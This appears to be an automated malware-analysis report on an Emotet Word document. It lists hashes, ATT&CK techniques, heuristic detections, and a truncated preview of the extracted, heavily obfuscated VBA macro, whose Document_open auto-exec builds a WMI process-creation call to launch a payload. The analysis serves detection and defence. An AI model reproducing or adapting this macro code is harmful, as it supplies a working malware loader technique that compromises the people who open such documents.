Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c24383a38bc551ab…

MALICIOUS

Office (OLE)

240.6 KB Created: 2020-08-25 06:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 77629528785a37edb1fc20c73a6b75a8 SHA-1: 4808e58d15a678a55d23581bbbb79c80c9b4ad6b SHA-256: c24383a38bc551ab44546118aae0103bee945e1973a2273948e1b7c872a13dbd
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are characteristic of Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a technique to hide malicious code execution. The ClamAV detection further supports the Emotet family attribution. The VBA script is heavily obfuscated but its structure suggests it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9492538-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9492538-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14584 bytes
SHA-256: 6b7307a509dbcc164a37039e7f0592d1424c012bf12e7d42027a71a454b72635
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hvelqt1m18ymtt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
T3sxg8r81b9z7cy0fc.Ke____4rq4yixo9k
End Sub


Attribute VB_Name = "T3sxg8r81b9z7cy0fc"
Attribute VB_Base = "0{EB7F55CD-7EEE-4ED7-A4A4-EEA11F5DE15A}{F7255911-EE38-4EA6-BE99-7644EE4458F9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ke____4rq4yixo9k()
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Aekhlk85u7gdjiq = 100
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Dygeybzc30lhu = ChrW(Aekhlk85u7gdjiq + (15))
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Wxw4ulp7nco99e6o30 = "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[i23&bh s6[[hu12 712tdd]]s hj[nm23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[gm23&bh s6[[hu12 712tdd]]s hj[t23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[" + Dygeybzc30lhu + "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[:23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[in23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[323&bh s6[[hu12 712tdd]]s hj[223&bh s6[[hu12 712tdd]]s hj[_23&bh s6[[hu12 712tdd]]s hj[" + T3sxg8r81b9z7cy0fc.Inrc01oc9n1k0q7 + "23&bh s6[[hu12 712tdd]]s hj[ro23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[ce23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj["
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Av3lxinyzkv2n1hmck = Advgwrispg_0afv31x(Wxw4ulp7nco99e6o30)
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 430
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.